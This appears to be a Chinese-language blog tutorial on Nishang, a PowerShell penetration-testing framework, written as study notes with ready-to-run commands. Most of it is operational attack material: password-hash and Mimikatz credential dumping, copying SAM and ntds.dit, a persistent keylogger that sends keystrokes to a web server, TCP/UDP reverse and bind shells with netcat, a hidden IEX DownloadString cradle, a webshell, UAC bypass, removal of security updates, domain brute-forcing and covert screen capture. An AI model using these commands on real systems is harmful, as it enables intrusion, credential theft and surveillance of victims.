Nishang是一款针对PowerShell的渗透工具。基于PowerShell的渗透测试,集成了框架、脚本和各种Payload,包括下载和执行、键盘记录、DNS、延时命令等

0x01 Nishang简介

Nishang要在PowerShell 3.0以上环境中可正常使用,windows7下是哟点小问题的

Github项目地址:https://github.com/samratashok/nishang

导入模块,查看命令查看Nishang有哪些模块

1
2
3
Set-ExecutionPolicy remotesigned //更改执行策略
Import-Module .\nishang.psm1
Get-Command -Module nishang

执行Get-Information可获取目标主机上的大量信息(FTP访问、进程、计算机配置信息、无线网络和设备的信息、Hosts信息)这里可看到列出本地的部分信息

1
Get-Information

另外在PowerShell中使用Out-File可以将执行结果导出到文件中

1
Get-Information | Out-File test.txt //获取到的信息保存在test.txt

分别说一下Nishang目录结构中模块的功能

0x02 信息收集

这里对部分模块的功能做一个学习跟记录

1.Check-VM

它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别,如下可看到是一台虚拟机

1
2
3
get-help Check-VM //说明信息
get-help Check-VM -examples //使用举例
Check-VM //执行

2.Invoke-CredentialsPhish

这个脚本用来欺骗用户,让用户输入密码,在不输入正确密码关闭不了对话框,只能强子结束进程

输入正确密码后

3.Copy-VSS

这个脚本利用Volume Shadow Copy 服务来复制出SAM文件。如果这个脚本运行在了DC机上ntds.dit和SYSTEM hive也能被拷贝出来

1
2
Copy-VSS //将会直接把文件保存在当前路径下
Copy-VSS -DestinationDir C:temp //指定保存文件的路径(必须是已经存在的路径)

4.FireBuster FireListener

FireBuster可以对内网进行扫描,打开本地监听,然后远程传送数据,它会把包发给FireListener

在本机输入以为命令运行FireListener

1
FireListener 130-150

接着在目标机输入以下命令

1
FireBuster 192.168.197.230 90-110 -Verbose


5.Get-Information

这个脚本可以获取目标机器上大量的信息(FTP访问,进程,计算机配置信息,无线网络和设备的信息,Hosts信息等等非超丰富),在简介部分已做演示

1
Get-Information

6.Get-PassHashes

在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了

1
Get-PassHashes -PSObjectFormat //可以使用-PSObjectFormat来格式化输出结果

7.Invoke-Mimikatz

Dump出Windows 8.1 and Server 2012的系统用户密码

1
2
Invoke-Mimikatz -DumpCerts // Dump出本机的凭证信息
Invoke-MimikatzWDigestDowngrade // 会锁屏

8.Keylogger键盘记录

1
2
3
4
.\Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis  //-CheckURL参数会去检查所给出的网页之中是否包含 -MagicString后的字符串,如果存在的话就停止使用记录。
.\Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //将记录指定发送给一个可以记录Post请求的Web服务器
.\Keylogger.ps1 -persist //实现持久化记录(重启后依然进行记录)
.\Keylogger.ps1 //直接以这种方式来运行,键盘记录会保存在当前用户的Temp目录下key文件中

在Temp目录下key文件

当监听完成以后,我们需要用Gather目录下的Keylogger来解析Temp下的key.log文件,命令如下

1
Parse_Keys "C:\Users\Admin\AppData\Local\Temp\key.log" "C:\Users\Admin\Desktop\test.txt"

9.Get-PassHints

这个脚本可以从Windows获得用户的密码的提示信息,需要有Administrator的权限来读取SAM hive.可根据提示信息生成密码字典,提高爆破成功率。运气好用户直接将明文记录在提示信息中

1
Get-PassHints

0x03 PowerShell隐藏通信隧道

1.基于TCP协议的PowerShell交互式Shell

都知道当目标在外网而你在内网的时候,用正向连接,当目标在内网你在外网的时候,用反向连接。如都在外网则无区别,两则都可

反向连接:

NC下执行 :

1
nc -lvp 3333

在PowerShell下执行:

1
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.197.234 -Port 3333

正向连接

PowerShell下执行:

1
Invoke-PowerShellTcp -Bind -Port 3333

NC下执行:

1
nc -nv 192.168.197.196 3333

2.基于UDP协议的PowerShell交互式Shell

只是单纯的将Invoke-PowerShellTcp改为Invoke-PowerShellUdp,其他命令。之后就是nc的命令改变了

正向连接:

1
nc -nvu 192.168.197.196 3333

PowerShell下执行:

1
Invoke-PowerShellUdp -Bind -Port 3333

反向连接:

1
nc -lup 3333

PowerShell下执行:

1
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.197.234 -Port 3333

对于一些命令的查询可以使用这个网站,非常好用:https://www.explainshell.com/

3.基于HTTP和HTTPS协议的PowerShell交互式Shell

两种使用方法如下:

1
2
HTTP:Invoke-PoshRatHttp -IPAddress 192.168.197.196 -Port 3333
HTTPS:Invoke-PoshRatHttps -IPAddress 192.168.12.103 -Port 3333

先对HTTP进行测试

然后把生成的如下命令在目标机的cmd中执行,之后命令行消失,在本机Powershell下返回了一个会话,如上图的3

1
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.197.196:3333/connect'))

http测试的时候未成功….

还有ICMP shell DNS shell WMI shell之类的

0x04 webshell

存放于nishangAntak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多。功能齐全

0x05 提权

1.Bypass UAC

User Account Control(用户账户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能影响计算机运行或其他用户设置的操作之前,提供权限或管理员密码。通过这些操作执行前对其进行验证,在未经许可的情况下,UAC可以防止恶意软件和间谍润健在计算机上进行安装或对计算机进行更改

在Windows Vista以及更高版本中,微软引进了安全控制策略,分为高、中、低三个等级。高等级进程具有管理员权限,中等级进程拥有一个基本用户的权限,低级别进程的权限受各种限制,用来保证系统受到威胁时,使损失最小

UAC需要授权的动作包括:

  • 配置windows update
  • 增加或删除用户账户
  • 改变用户的账户类型
  • 改变UAC设置
  • 安装ActiveX
  • 安装或卸载程序
  • 安装设备驱动程序
  • 设置家长控制
  • 将文件移动或复制到Program Files 或Windows目录
  • 查看其他用户的文件夹

UAC有4种设置要求:

  • 始终通知:最严格设置,任何时候,当有程序要使用高级别的权限时,都会提示本地用户
  • 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。本地windows程序要使用高级别权限时,不通知用户。但当第三方程序要求使用高级别权限时,会提示本地用户。
  • 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置相同,但提示用户时不降低桌面的亮度
  • 从不提示:当系统为系统管理员时,所有程序都会以最高权限运行。

Invoke-PsUACme 提供了一些绕过UAC的方式。这个模块用的是UACME项目的DLL来Bypass UAC。所以,方法对照表如下

输入命令查看帮助信息

1
2
get-help Invoke-PsUACme
get-help Invoke-PsUACme -examples

实例一: 使用Sysprep方法和默认的Payload执行

实例二: 使用oobe方法跟默认的payload执行

实例三: 使用oobe方法跟自制payload执行

0x06 其他功能

1.删除布丁

Remove-Update

1
2
3
Remove-Update All //删除目标机器上的所有更新
Remove-Update Security //删除目标机器上的所有与安全相关更新
Remove-Update KB2761226 //移除指定编号的更新

2.端口扫描

Invoke-PortScan是端口扫描脚本,用于发现主机、解析主机

Get-Help Invoke-PortScan -full 查看帮助信息

主要参数:

-StartAddress 开始的IP地址

-EndAddress 结束的IP地址

-ResolveHost 是否解析主机名

-ScanPort要不要进行端口扫描

-Port 要扫描的端口(默认扫描端口:21,22,23,53,69,71,80,98,110,139,111,
389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901)

-TimeOut 超时时间

对我本地局域网进行扫描命令如下:

1
2
Invoke-PortScan -StartAddress 192.168.197.1 -EndAddress 192.168.197.254
Invoke-PortScan -StartAddress 192.168.197.1 -EndAddress 192.168.197.254 -ResolveHost

3.弱口令爆破

Invoke-BruteForce暴力破解脚本,用于对SQL Server 域控制器、web及FTP弱口令爆破

1
2
3
get-help Invoke-BruteForce -examples //查看帮助
Invoke-BruteForce -ComputerName targetdomain.com -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose //爆破域控制器
Invoke-BruteForce -ComputerName targetdomain.com -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose //爆破SQL Server

主要参数:

-ComputerName 对应服务的计算机名

-UserList 用户名字典

-PasswordList 密码字典

-Service 服务类型(默认为:SQL)

-StopOnSuccess 匹配一个后停止

4.嗅探

动静太大

在靶机上执行:

1
Invoke-Interceptor -ProxyServer 192.168.197.196 -ProxyPort 9999

监听机器上执行:

1
netcat -lvvp 9999

5.屏幕窃取

Show-TargetScreen脚本使用MJPESG传输目标机远程桌面的实时画面,在本机可以使用NC或者PowerCat进行监听。在本地使用支持MJPEG的浏览器访问本机对应监听端口,即可在浏览器上看到从远端传输回来的实时画面,正向反向均可

反向连接窃取屏幕

在目标机上执行:

1
Show-TargetScreen -Reverse -IPAddress 192.168.197.234 -Port 3333

NC下执行

1
netcat -nlvp 3333 | netcat -nlvp 9999

访问攻击机器的9999端口,就可以窃取到屏幕

正向连接窃取屏幕

在目标机器上执行:

1
Show-TargetScreen -Bind -Port 3333

在NC下执行:

1
netcat -nv 192.168.197.196 3333 | netcat -lnvp 9999

0x07 结语

Nishang中集成了很多渗透脚本,可辅助我们在渗透当中使用,虽然在有些情况下并不能运行powershell。但是通过脚本的思路,可以自己去完成实现脚本的一些功能,本文仅仅做了一部分的介绍,更详细的请自行多多研究。

参考资料

https://www.cnblogs.com/bonelee/p/8258440.html

https://blog.csdn.net/m0_37438418/article/details/80327624